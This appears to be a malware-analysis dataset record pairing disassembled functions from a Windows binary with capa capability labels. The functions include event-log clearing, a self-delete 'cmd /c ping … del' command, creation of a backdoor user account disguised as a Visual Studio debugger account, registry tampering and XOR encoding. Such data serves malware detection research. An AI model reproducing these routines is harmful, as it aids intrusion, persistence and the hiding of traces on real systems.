joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402d80
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x254
push ebp
push esi
push edi
mov esi, 0x2800
mov edi, ecx
push esi
push 0x40
mov dword [esp + 0x20], edi
mov dword [edi + 0x1c], 0
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebp, eax
mov eax, dword [esp + 0x264]
push eax
lea ecx, [esp + 0x160]
push str._s.
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x15c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x402e03
lea ecx, [esp + 0xf]
push 1
push ecx
mov ecx, edi
mov byte [esp + 0x17], 0x68
call fcn.00404a20
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
push ebx
mov byte [ebp], 0x68
mov ebx, 1
jmp 0x402e13
mov esi, dword [esp + 0x18]
lea edx, [esi - 0x208]
cmp ebx, edx
jbe 0x402e33
add esi, 0x208
push 0x42
push esi
push ebp
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebp, eax
mov edi, 0x413030
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x402e64
test al, al
je 0x402e60
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x402e64
add esi, 2
add edi, 2
test al, al
jne 0x402e3c
xor eax, eax
jmp 0x402e69
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402f03
mov edi, 0x41302c
lea esi, [esp + 0x4c]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x402ea2
test al, al
je 0x402e9e
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x402ea2
add esi, 2
add edi, 2
test al, al
jne 0x402e7a
xor eax, eax
jmp 0x402ea7
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402f03
mov al, byte [esp + 0x20]
lea ecx, [esp + 0x4c]
and al, 0x10
push ecx
mov byte [ebx + ebp], al
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea esi, [esp + 0x4c]
mov edx, ecx
lea edi, [ebx + ebp]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
add ebx, eax
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
mov byte [ebx + ebp - 1], 0
mov eax, dword [esp + 0x3c]
mov dword [ebx + ebp], eax
mov ecx, dword [esp + 0x40]
mov dword [ebx + ebp + 4], ecx
mov edx, dword [esp + 0x34]
add ebx, 8
mov dword [ebx + ebp], edx
mov eax, dword [esp + 0x38]
mov dword [ebx + ebp + 4], eax
add ebx, 8
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402e0f
mov ecx, dword [esp + 0x1c]
push ebx
push ebp
call fcn.00404a20
push ebp
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
mov eax, esi
pop edi
pop esi
pop ebp
add esp, 0x254
ret 4
Function at 0x403030
Capabilities:
Get file size

Disassembly:
sub esp, 8
push ebx
push esi
lea edx, [ecx + 0x20]
push edi
mov dword [esp + 0x10], ecx
mov ebx, dword [esp + 0x18]
mov ecx, 0x41
xor eax, eax
mov edi, edx
push 0
rep stosd dword es:[edi], eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x80
mov eax, ecx
mov esi, edi
mov edi, edx
push 3
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
and ecx, 3
push 1
push closesocket
push ebx
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x403094
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 8
ret 4
lea ecx, [esp + 0xc]
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
add ebp, 0xa
push ebp
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, ebp
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [esp + 0x10]
mov dword [ebx + 5], esi
mov esi, dword [esp + 0x1c]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
push ebp
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
call fcn.00404a20
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 8
ret 4

Function at 0x403130
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push edi
mov eax, dword [ebx + 4]
mov ebp, ecx
cmp eax, 0xffffffff
jne 0x40314e
call fcn.00403210
pop edi
pop ebp
xor eax, eax
pop ebx
ret 4
push 0
push 0x80
push 3
push 0
push 1
lea eax, [ebp + 0x20]
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x403179
pop edi
pop ebp
or eax, eax
pop ebx
ret 4
mov ecx, dword [ebx + 4]
push esi
push 0
push ebx
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
push 0x40
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea ecx, [esp + 0x14]
push 0
push ecx
mov byte [esi], 0x6a
mov edx, dword [ebx]
mov dword [esi + 1], edx
mov eax, dword [ebx + 4]
lea edx, [esi + 9]
push 0x1ff7
push edx
push edi
mov dword [esi + 5], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
test eax, eax
jbe 0x4031f1
add eax, 9
mov ecx, ebp
push eax
push esi
call fcn.00404a20
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
mov ecx, ebp
call fcn.00403210
mov edi, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop esi
pop edi
pop ebp
pop ebx
ret 4
Function at 0x403880
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [esp + 0x18]
push ebp
push esi
mov eax, dword [ebx]
push edi
mov ebp, dword [ebx + 4]
push 0
mov edi, ecx
push 0x80
push 3
push 0
push 2
lea ecx, [edi + 0x20]
push 0x40000000
push ecx
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x24]
push 0
mov esi, eax
push edx
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x28]
lea eax, [esp + 0x10]
push 0
add ecx, 0xfffffff8
push eax
add ebx, 8
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x14]
push 9
add eax, ebp
push ecx
mov ecx, edi
mov byte [esp + 0x1c], 0x70
mov dword [esp + 0x1d], edx
mov dword [esp + 0x21], eax
call fcn.00404a20
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 8

Function at 0x4040b0
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
sub esp, 0x78
push esi
push edi
mov edi, dword [esp + 0x84]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x4040d5
pop edi
xor al, al
pop esi
add esp, 0x78
ret
push esi
push edi
call fcn.004095a0
add esp, 8
test al, al
jne 0x4040e9
pop edi
pop esi
add esp, 0x78
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x40]
mov dl, 0x74
rep stosd dword es:[edi], eax
mov cl, 0x61
mov eax, 0x44
mov byte [esp + 0xd], cl
mov byte [esp + 0x13], cl
mov byte [esp + 0x36], cl
mov byte [esp + 0xc], dl
mov byte [esp + 0x16], dl
mov byte [esp + 0x37], dl
lea ecx, [esp + 0x18]
mov dword [esp + 0x3c], eax
mov byte [esp + 0x10], al
lea edx, [esp + 0x3c]
mov al, 0x65
push ecx
push edx
mov byte [esp + 0x19], al
mov byte [esp + 0x35], al
mov byte [esp + 0x38], al
mov byte [esp + 0x40], al
push 0
lea eax, [esp + 0x14]
push 0
push 0
mov dword [esp + 0x58], eax
push 0
push 0
lea eax, [esp + 0x44]
push 0
push eax
push esi
mov byte [esp + 0x30], 0x57
mov byte [esp + 0x31], 0x69
mov byte [esp + 0x32], 0x6e
mov byte [esp + 0x33], 0x53
mov byte [esp + 0x36], 0x30
mov byte [esp + 0x37], 0x5c
mov byte [esp + 0x3a], 0x66
mov byte [esp + 0x3c], 0x75
mov byte [esp + 0x3d], 0x6c
mov byte [esp + 0x3f], 0
mov byte [esp + 0x50], 0x57
mov byte [esp + 0x51], 0x48
mov byte [esp + 0x52], 0x4d
mov byte [esp + 0x53], 0x5f
mov byte [esp + 0x54], 0x53
mov byte [esp + 0x56], 0x72
mov byte [esp + 0x57], 0x76
mov byte [esp + 0x59], 0x72
mov byte [esp + 0x5a], 0x5f
mov byte [esp + 0x5b], 0x55
mov byte [esp + 0x5c], 0x70
mov byte [esp + 0x5d], 0x64
mov byte [esp + 0x61], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x78
ret
Function at 0x404420
Capabilities:
Access the windows event log
Clear windows event logs
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
mov al, 0x70
mov cl, 0x69
mov byte [esp + 0x15], al
mov byte [esp + 0x16], al
mov byte [esp + 0x18], cl
mov byte [esp + 0x1c], cl
mov byte [esp + 0xd], cl
mov al, 0x74
mov dl, 0x65
mov cl, 0x79
push ebx
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov byte [esp + 0x23], al
mov bl, 0x53
mov byte [esp + 0x11], dl
mov byte [esp + 0x16], al
mov byte [esp + 0x17], cl
mov byte [esp + 9], cl
mov byte [esp + 0xb], al
mov byte [esp + 0xc], dl
push esi
lea eax, [esp + 0x20]
lea ecx, [esp + 0x14]
lea edx, [esp + 0xc]
push edi
mov byte [esp + 0x18], bl
mov byte [esp + 0x10], bl
mov byte [esp + 0x24], 0x41
mov byte [esp + 0x27], 0x6c
mov byte [esp + 0x29], 0x63
mov byte [esp + 0x2a], 0x61
mov byte [esp + 0x2d], 0x6f
mov byte [esp + 0x2e], 0x6e
mov byte [esp + 0x2f], 0
mov byte [esp + 0x1a], 0x63
mov byte [esp + 0x1b], 0x75
mov byte [esp + 0x1c], 0x72
mov byte [esp + 0x20], 0
mov byte [esp + 0x12], 0x73
mov byte [esp + 0x15], 0x6d
mov byte [esp + 0x16], 0
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x38], edx
lea edi, [esp + 0x30]
mov ebx, 3
mov eax, dword [edi]
push eax
push 0
call ebp
mov esi, eax
test esi, esi
je 0x4044f5
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x4044d8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
Function at 0x404510
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x430
push ebx
push esi
push edi
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x3c]
rep stosd dword es:[edi], eax
mov al, 0x73
mov cl, 0x45
mov byte [esp + 0x14], al
mov byte [esp + 0x16], al
mov dl, 0x52
mov byte [esp + 0x29], al
mov byte [esp + 0x2d], al
mov byte [esp + 0x37], al
mov byte [esp + 0xe], al
mov eax, dword [esp + 0x440]
mov byte [esp + 0x1f], cl
mov bl, 0x54
mov byte [esp + 0x2a], cl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x33], cl
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], dl
mov byte [esp + 0x26], dl
mov byte [esp + 0x2f], dl
lea ecx, [esp + 0x14]
mov byte [esp + 0x21], bl
mov byte [esp + 0x25], bl
mov byte [esp + 0x2b], bl
push eax
lea edx, [esp + 0x40]
xor ebx, ebx
push ecx
push edx
mov byte [esp + 0x21], 0x79
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], 0x65
mov byte [esp + 0x25], 0x6d
mov byte [esp + 0x26], 0x5c
mov byte [esp + 0x27], 0x63
mov byte [esp + 0x28], 0x55
mov byte [esp + 0x2c], 0x4e
mov byte [esp + 0x2e], 0x63
mov byte [esp + 0x2f], 0x4f
mov byte [esp + 0x30], 0x4e
mov byte [esp + 0x33], 0x4f
mov byte [esp + 0x34], 0x4c
mov byte [esp + 0x38], 0x5c
mov byte [esp + 0x3c], 0x56
mov byte [esp + 0x3d], 0x49
mov byte [esp + 0x3e], 0x43
mov byte [esp + 0x40], 0x53
mov byte [esp + 0x41], 0x5c
mov byte [esp + 0x42], 0x25
mov byte [esp + 0x44], bl
mov byte [esp + 0x18], 0x48
mov byte [esp + 0x19], 0x6f
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], bl
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [esp + 0x450]
add esp, 0xc
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
lea eax, [esp + 0x18]
push 1
lea ecx, [esp + 0x4c]
push eax
push ecx
push getsockname
call fcn.00404f90
add esp, 0x1c
pop edi
pop esi
pop ebx
add esp, 0x430
ret

Function at 0x4046e0
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9e50]
mov dword [ebx], 0x41038c
test eax, eax
jbe 0x404724
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x210]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9e50]
inc edi
add esi, 4
cmp edi, eax
jb 0x404704
pop esi
pop ebp
mov ecx, ebx
call fcn.004049f0
pop edi
pop ebx
ret

Function at 0x404930
Capabilities:
Create process on windows
Print debug messages
Self delete
Terminate process

Disassembly:
sub esp, 0x504
lea eax, [esp]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp]
lea edx, [esp + 0x104]
push ecx
push str.cmd__c_ping_127.0.0.1__n_1del___s_
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea ecx, [esp + 0x104]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop
nop
nop
nop
Function at 0x404f90
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4103b0
push 0x40f24c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x404fc7
jmp dword [eax*4 + 0x405110]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x404fc7
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x404fc7
mov edx, dword [ebp + 0x14]
cmp edx, ebx
jbe case.default.0x404fc7
cmp edx, 2
jbe 0x405050
cmp edx, 4
jne case.default.0x404fc7
push edx
lea ecx, [ebp + 0x1c]
push ecx
push edx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x404fc7
jmp 0x4050d4
mov esi, dword [ebp + 0x18]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push edx
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x404fc7
jmp 0x4050d4
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x404fc7
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x404fc7
jmp 0x4050d4
lea edx, [ebp - 0x24]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x404fc7
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x404fc7
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.004050fb
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405700
Capabilities:
Delete user account

Disassembly:
sub esp, 0x200
push esi
mov esi, ecx
push edi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0xa]
mov word [esp + 8], 0
push 0x100
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [esp + 0x210]
lea ecx, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_mbstowcs]
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0
call sub.NETAPI32.dll_NetUserDel
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, esi
call fcn.00405280
pop edi
pop esi
add esp, 0x200
ret 8

Function at 0x405800
Capabilities:
List groups for user account

Disassembly:
sub esp, 0x310
push ebx
push ebp
push esi
push edi
xor esi, esi
mov ecx, 0x7f
xor eax, eax
lea edi, [esp + 0x122]
mov word [esp + 0x120], si
mov byte [esp + 0x20], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x21]
push 0x100
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [esp + 0x328]
lea ecx, [esp + 0x124]
push eax
push ecx
mov dword [esp + 0x24], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x28], esi
call dword [sym.imp.MSVCRT.dll_mbstowcs]
add esp, 0xc
lea edx, [esp + 0x1c]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x18]
push edx
push eax
push 0xffffffffffffffff
push ecx
push 1
lea edx, [esp + 0x134]
push esi
push edx
push esi
call sub.NETAPI32.dll_NetUserGetLocalGroups
test eax, eax
jne 0x405946
mov ebp, dword [esp + 0x18]
cmp ebp, esi
je 0x405946
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], esi
cmp eax, esi
jbe 0x405946
mov ebx, dword [esp + 0x328]
jmp 0x4058b6
xor esi, esi
cmp ebp, esi
je 0x405946
mov eax, dword [ebp]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov ecx, dword [ebp]
mov esi, eax
push ecx
push 0x413174
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
push 0x100
lea edx, [esp + 0x38]
push esi
push edx
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 0x20
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x20]
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
test edx, edx
je 0x405919
mov byte [edx + ebx], 0x2f
inc edx
xor eax, eax
test ecx, ecx
jle 0x40592e
lea esi, [edx + ebx]
mov dl, byte [esp + eax + 0x20]
mov byte [esi + eax], dl
inc eax
cmp eax, ecx
jl 0x405922
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
add ebp, 4
inc eax
cmp eax, ecx
mov dword [esp + 0x14], eax
jb 0x4058b4
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x310
ret
Function at 0x406440
Capabilities:
Add user account
Add user account to group

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xfc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], ecx
push edi
call ebx
lea esi, [eax + edi + 1]
push esi
mov dword [ebp + 8], esi
call ebx
lea eax, [eax + esi + 1]
mov dword [ebp - 8], eax
xor eax, eax
cmp edi, eax
mov dword [ebp - 0x14], eax
jne 0x40647a
mov dword [ebp - 4], eax
jmp 0x4064af
push edi
call ebx
mov esi, eax
inc esi
lea eax, [esi + esi]
add eax, 3
and al, 0xfc
call fcn.0040f210
mov eax, esp
push esi
push eax
push 0xffffffffffffffff
push edi
push 0
push 0
mov dword [ebp - 4], eax
mov word [eax], 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 4]
mov esi, dword [ebp + 8]
mov dword [ebp - 4], ecx
test esi, esi
jne 0x4064b7
xor edi, edi
jmp 0x4064e3
push esi
call ebx
mov esi, eax
inc esi
lea eax, [esi + esi]
add eax, 3
and al, 0xfc
call fcn.0040f210
mov edx, dword [ebp + 8]
mov edi, esp
push esi
push edi
push 0xffffffffffffffff
push edx
push 0
push 0
mov word [edi], 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4064ee
xor ebx, ebx
jmp 0x40651a
push eax
call ebx
mov esi, eax
inc esi
lea eax, [esi + esi]
add eax, 3
and al, 0xfc
call fcn.0040f210
mov eax, dword [ebp - 8]
mov ebx, esp
push esi
push ebx
push 0xffffffffffffffff
push eax
push 0
push 0
mov word [ebx], 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x14]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x34]
mov esi, 1
push edx
xor eax, eax
push ecx
push esi
push eax
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], str.This_user_account_is_used_by_the_Visual_Studio_.NET_Debugger
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x18], eax
call sub.NETAPI32.dll_NetUserAdd
mov ecx, 0x31
xor eax, eax
lea edi, [ebp - 0xfa]
mov word [ebp - 0xfc], 0
mov edx, dword [ebp - 0x34]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0xfc]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_wcscpy]
add esp, 8
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0xfc]
push esi
push edx
push 3
push ebx
push 0
mov dword [ebp - 0xc], ecx
call sub.NETAPI32.dll_NetLocalGroupAddMembers
mov ecx, dword [ebp - 0x10]
call fcn.00405280
lea esp, [ebp - 0x108]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x406870
Capabilities:
Terminate process
Terminate thread

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [esi + 0x28]
push 0
push eax
mov dword [esi], 0x4103c4
call edi
mov ecx, dword [esi + 0x20]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [esi + 0x24]
push 0
push edx
call edi
mov eax, dword [esi + 0x2c]
push 0x7d0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0x2c]
push 0
push ecx
call edi
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x4068c3
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4068cd
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x4068d7
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x4068e1
push eax
call edi
mov edx, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esi + 0x14]
push eax
call edi
mov ecx, dword [esi + 0x18]
push ecx
call edi
mov edx, dword [esi + 0x1c]
push edx
call edi
mov eax, dword [esi + 0x20]
push eax
call edi
mov ecx, dword [esi + 0x24]
push ecx
call edi
mov edx, dword [esi + 0x2c]
push edx
call edi
mov eax, dword [esi + 0x28]
push eax
call edi
mov ecx, esi
call fcn.004049f0
pop edi
pop esi
ret

Function at 0x406be0
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
lea eax, [esp + 4]
push esi
push eax
push ecx
mov dword [esp + 0x10], 0
call fcn.00406a80
mov ebx, eax
add esp, 8
xor esi, esi
test ebx, ebx
jle 0x406c37
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call edi
mov eax, dword [esp + 0xc]
push 0
add byte [esi + eax], 0x7a
call edi
mov eax, dword [esp + 0xc]
mov dl, byte [esi + eax]
xor dl, 0x19
mov byte [esi + eax], dl
inc esi
cmp esi, ebx
jl 0x406c0c
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
pop ecx
ret
mov eax, dword [esp + 8]
pop esi
pop ebx
pop ecx
ret